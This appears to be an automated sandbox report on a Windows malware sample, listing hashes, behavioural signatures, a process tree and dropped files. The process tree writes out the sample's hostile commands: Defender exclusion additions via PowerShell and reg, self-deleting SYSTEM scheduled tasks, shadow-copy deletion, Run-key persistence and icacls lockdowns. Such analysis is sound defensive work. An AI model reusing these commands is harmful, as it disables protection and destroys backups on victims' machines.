Analysis
- max time kernel
141s - max time network
164s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
20/06/2026, 15:17
Static task
static1
Behavioral task
behavioral1
Sample
a-software85650001.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
a-software85650001.exe
Resource
win11ltsc2024-20260618-en
General
- Target a-software85650001.exe
- Size 70.1MB
- Sample260620-sn192afw8l
- SHA256 0ecd4eed4e6933a51dbedfb4927b330135e0df7957e4e1eb6c6cee939a5bdec4
- MD5 e76c8f8521a3c532b93466301076cccb
- SHA1 cb1d22c31403322adabd6b6f72ab53347661450b
- SHA512 94586f2be22b433f6f67e4991ea309468f80e2ee6d4c77421322f4fcc8da266ff1565b19c6be94512f3d8f0ee5bb8042852b552e4366fe657850852544a9ddfa
- SSDEEP 98304:EuX9nmn1jJ6I/EoPZQi7kmeHh2yeH7rkfvVsJnndxMcGNUXhngr/GALvixMpfrfr:FNnmnbcoRQi7ZkfvVsZdW+RC+AzmMpKG
- TLSH T1FCF7C502B643DD9AF4664275885B0FA0A361ECB4977083A722A8761C7FFE7CC6EF1514
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\Iqb7Ae = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3252 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 3916 59eYMa.exe 2468 59eYMa.exe - Loads dropped DLL 2 IoCs
pid Process 3916 59eYMa.exe 2468 59eYMa.exe - Modifies file permissions 1 TTPs 15 IoCs
pid Process 2456 icacls.exe 3864 icacls.exe 5784 icacls.exe 1832 icacls.exe 3392 icacls.exe 1380 icacls.exe 1648 icacls.exe 4708 icacls.exe 3184 icacls.exe 672 icacls.exe 3108 icacls.exe 5968 icacls.exe 5632 icacls.exe 1036 icacls.exe 2712 icacls.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\Iqb7Ae\\59eYMa.exe\"" 59eYMa.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 2592 cmd.exe 1584 cmd.exe 4172 cmd.exe 3048 cmd.exe 4132 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b 59eYMa.exe - Drops file in Program Files directory 9 IoCs
description ioc Process File created C:\Program Files (x86)\byBFjB\byBFjB.exe 59eYMa.exe File created C:\Program Files (x86)\byBFjB\image.png 59eYMa.exe File created C:\Program Files (x86)\byBFjB\thumbs.db 59eYMa.exe File opened for modification C:\Program Files (x86)\byBFjB\byBFjB.exe 59eYMa.exe File opened for modification C:\Program Files (x86)\byBFjB\XPSPLOG.dll 59eYMa.exe File opened for modification C:\Program Files (x86)\byBFjB 59eYMa.exe File created C:\Program Files (x86)\byBFjB\XPSPLOG.dll 59eYMa.exe File opened for modification C:\Program Files (x86)\byBFjB\image.png 59eYMa.exe File opened for modification C:\Program Files (x86)\byBFjB\thumbs.db 59eYMa.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2356 schtasks.exe 4584 schtasks.exe 4828 schtasks.exe 4912 schtasks.exe 3932 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 2852 a-software85650001.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe 3916 59eYMa.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 824 Process not Found 824 Process not Found 824 Process not Found 824 Process not Found 824 Process not Found 824 Process not Found - Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 3252 powershell.exe Token: SeIncreaseQuotaPrivilege 3252 powershell.exe Token: SeSecurityPrivilege 3252 powershell.exe Token: SeTakeOwnershipPrivilege 3252 powershell.exe Token: SeLoadDriverPrivilege 3252 powershell.exe Token: SeSystemProfilePrivilege 3252 powershell.exe Token: SeSystemtimePrivilege 3252 powershell.exe Token: SeProfSingleProcessPrivilege 3252 powershell.exe Token: SeIncBasePriorityPrivilege 3252 powershell.exe Token: SeCreatePagefilePrivilege 3252 powershell.exe Token: SeBackupPrivilege 3252 powershell.exe Token: SeRestorePrivilege 3252 powershell.exe Token: SeShutdownPrivilege 3252 powershell.exe Token: SeDebugPrivilege 3252 powershell.exe Token: SeSystemEnvironmentPrivilege 3252 powershell.exe Token: SeRemoteShutdownPrivilege 3252 powershell.exe Token: SeUndockPrivilege 3252 powershell.exe Token: SeManageVolumePrivilege 3252 powershell.exe Token: 33 3252 powershell.exe Token: 34 3252 powershell.exe Token: 35 3252 powershell.exe Token: 36 3252 powershell.exe - Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 3916 wrote to memory of 3252 3916 59eYMa.exe 92 PID 3916 wrote to memory of 3048 3916 59eYMa.exe 94 PID 3048 wrote to memory of 2356 3048 cmd.exe 96 PID 3048 wrote to memory of 2572 3048 cmd.exe 97 PID 3916 wrote to memory of 4132 3916 59eYMa.exe 99 PID 3048 wrote to memory of 3364 3048 cmd.exe 102 PID 4132 wrote to memory of 4584 4132 cmd.exe 103 PID 3916 wrote to memory of 2592 3916 59eYMa.exe 105 PID 2592 wrote to memory of 4828 2592 cmd.exe 107 PID 4132 wrote to memory of 5612 4132 cmd.exe 108 PID 2592 wrote to memory of 6092 2592 cmd.exe 109 PID 4132 wrote to memory of 1020 4132 cmd.exe 111 PID 2592 wrote to memory of 672 2592 cmd.exe 112 PID 3916 wrote to memory of 1584 3916 59eYMa.exe 113 PID 1584 wrote to memory of 4912 1584 cmd.exe 115 PID 1584 wrote to memory of 2948 1584 cmd.exe 116 PID 3916 wrote to memory of 4172 3916 59eYMa.exe 121 PID 1584 wrote to memory of 424 1584 cmd.exe 123 PID 4172 wrote to memory of 3932 4172 cmd.exe 124 PID 4172 wrote to memory of 3764 4172 cmd.exe 125 PID 4172 wrote to memory of 5968 4172 cmd.exe 127 PID 2412 wrote to memory of 2908 2412 cmd.exe 129 PID 3196 wrote to memory of 2808 3196 cmd.exe 131 PID 5812 wrote to memory of 1124 5812 cmd.exe 132 PID 5916 wrote to memory of 4128 5916 cmd.exe 133 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\a-software85650001.exe"C:\Users\Admin\AppData\Local\Temp\a-software85650001.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2852
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:5228
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C:\Users\Public\Iqb7Ae\59eYMa.exe"C:\Users\Public\Iqb7Ae\59eYMa.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3916 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:3252
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Iqb7Ae\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Iqb7Ae\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2356
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2572
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3364
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4132 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4584
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5612
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1020
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2592 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4828
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:6092
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:672
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1584 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4912
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2948
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:424
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4172 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3932
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3764
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5968
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C:\Program Files (x86)\byBFjB\byBFjB.exe"C:\Program Files (x86)\byBFjB\byBFjB.exe"2⤵PID:2392
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C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet3⤵PID:5640
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵PID:1932
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\byBFjB" /inheritance:r3⤵PID:948
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\byBFjB" /inheritance:r4⤵
- Modifies file permissions
PID:3108
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵PID:3416
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵PID:3644
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\byBFjB" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵PID:4232
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\byBFjB" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:3864
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\byBFjB" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)3⤵PID:4504
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\byBFjB" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)4⤵
- Modifies file permissions
PID:5784
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\byBFjB\byBFjB.exe" /inheritance:r3⤵PID:1200
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\byBFjB\byBFjB.exe" /inheritance:r4⤵
- Modifies file permissions
PID:1648
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\byBFjB\byBFjB.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵PID:4828
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\byBFjB\byBFjB.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:1380
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\byBFjB\byBFjB.exe" /grant:r Users:(RX) /deny Users:(DE)3⤵PID:2708
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\byBFjB\byBFjB.exe" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:672
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\byBFjB\image.png" /inheritance:r3⤵PID:4936
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\byBFjB\image.png" /inheritance:r4⤵
- Modifies file permissions
PID:1036
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\byBFjB\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵PID:4108
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\byBFjB\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:5632
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\byBFjB\image.png" /grant:r Users:(RX) /deny Users:(DE)3⤵PID:2308
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\byBFjB\image.png" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:4708
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\byBFjB\thumbs.db" /inheritance:r3⤵PID:1460
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\byBFjB\thumbs.db" /inheritance:r4⤵
- Modifies file permissions
PID:3392
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\byBFjB\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵PID:5508
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\byBFjB\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:5968
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\byBFjB\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)3⤵PID:2484
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\byBFjB\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:2456
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\byBFjB\XPSPLOG.dll" /inheritance:r3⤵PID:3664
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\byBFjB\XPSPLOG.dll" /inheritance:r4⤵
- Modifies file permissions
PID:1832
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\byBFjB\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵PID:3484
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\byBFjB\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:2712
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\byBFjB\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)3⤵PID:820
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\byBFjB\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Modifies file permissions
PID:3184
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C:\Users\Public\Iqb7Ae\59eYMa.exe"C:\Users\Public\Iqb7Ae\59eYMa.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2468
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Iqb7Ae" /t REG_DWORD /d 0 /f1⤵
- Suspicious use of WriteProcessMemory
PID:2412 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Iqb7Ae" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2908
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C:\Windows\System32\cmd.execmd.exe1⤵PID:4832
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Suspicious use of WriteProcessMemory
PID:5812 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1124
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Suspicious use of WriteProcessMemory
PID:3196 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2808
-
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Suspicious use of WriteProcessMemory
PID:5916 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4128
-
-
C:\Program Files (x86)\byBFjB\byBFjB.exe"C:\Program Files (x86)\byBFjB\byBFjB.exe"1⤵PID:1096
-
C:\Program Files (x86)\byBFjB\byBFjB.exe"C:\Program Files (x86)\byBFjB\byBFjB.exe"1⤵PID:2512
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C:\Program Files (x86)\01t2KO93E\d09nrKn.exe"C:\Program Files (x86)\01t2KO93E\d09nrKn.exe"1⤵PID:1548
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Program Files (x86)\01t2KO93E\XPSPLOG.dll
- Size 4.6MB
- SHA256 5f48a01955ba32c737efc5cc9ebe7e9f3568486bf779c387a793b048f02e9d9c
- MD5 6b5ebd4c9b791905d3c0f6aec7c1dfa9
- SHA1 5a1fd8988c9b12334fa0e03437446473d7efcd1a
- SHA512 84a09e40d3ba27de33fa9a4ed662e3ee4cbe9dacacab3c869d579085c2f62f1562178eaa825c53c909aff89794fc99c844a9966fbf652ebd3c252372a1435138
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyO:BMWKfU+BcUTHCCCfqCiUffnO
- TLSH T1F7263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\byBFjB\XPSPLOG.dll
- Size 4.6MB
- SHA256 deb38260d04f63318a4ce1d0340c462dba13b7592ed8a29a1a8000f3577d7951
- MD5 8c82098e1a0702090429db0ed5ad06bd
- SHA1 5bd2e6a2eb5e2e80e55330e8b95a07d2ade2e2ec
- SHA512 db173bd78614f5f1f70c7b9389b5906731e97ec9d9e8ad0497f43400a27e129a371108f8e133343f15562d11cc2aa7538b545465ce563c8196c2b2d2128b3d21
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyW:BMWKfU+BcUTHCCCfqCiUffnW
- TLSH T141263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\byBFjB\byBFjB.exe
- Size 145KB
- SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
- MD5 5251b98614acffe5c856f4039ca03da3
- SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
- SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
- SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
- TLSH T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\byBFjB\image.png
- Size 4.9MB
- SHA256 7673132e542821719c402767f80793907aa18f9c44d657c816709fdc37966c9c
- MD5 fb8bc31f1a61d5ed4e5f965820ba0931
- SHA1 a669c27dedf4bd266ca8f7d7e46cf2fef5adc9fd
- SHA512 49803f7ca216a46ac0d1fde5c80a0197290d2ab3fe645d3c537e42d4b08f66da287f22d00ceab347a39b523886c027f85c0ea892019dccca589c3d4cf76fe13a
- SSDEEP 98304:b91laJeDIpYOvAtQKEvZ7KsEri5NeaJGlbvB7crmEVWgkALqQfub:bhaJeU4t9Eh7KsThJG9RcrjkbAYb
- TLSH T19236333DE55E821A64C98CD13110C3EC856DA0639B2D9EEE8C6884EC4E3597CF57ADB3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\byBFjB\thumbs.db
- Size 358KB
- SHA256 8d72deb0598ae71c763a90ed1faa2aa0ae52c1b5cea4f3d96ba328c4b6fe226b
- MD5 c6fab026b8521e7279187bfd8b36ab7e
- SHA1 3c21cb903d3efee8c3c11e88967537c9ff7de6be
- SHA512 0aa224af3bebb6b427d40b9de680d3053ed3684316781e6e2ba8ee18d6c7f31dd59df9968beaf12dab1369d7ff5200fb26ea4f348eae8ec833fc7afc9c504eb4
- SSDEEP 6144:2iACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:58u69CghoQxoMTFQqtKFCz7mb/
- TLSH T17274F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
- Size 1KB
- SHA256 c8c626b0f45d2fdf1c875437aad888547505110f4b3204acc7d59ca93dc4580b
- MD5 31ec9a2c89554593ef58ccac666366da
- SHA1 d4055b7b14b23b607c9e1fcb218b51dc5c8bc676
- SHA512 b026474e291b4c6f43c432e0727e1a3d71f036e8cfe78885b89246b6956a25a7161880e5573a4248938ca5831be2e218558763c34b14250239648864eff00356
- TLSH T13121E9D945780DC2FBA25ED67BC4D93BACA1D7D0F8983C1BA12A44C41A483B81F6B60C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
- Size 1KB
- SHA256 f948383678fda9d47738cd8bdecffdd99d389a4db3a316dcf1a3f29bf7cf3e02
- MD5 7cf788dda849e358c51627187d1f709d
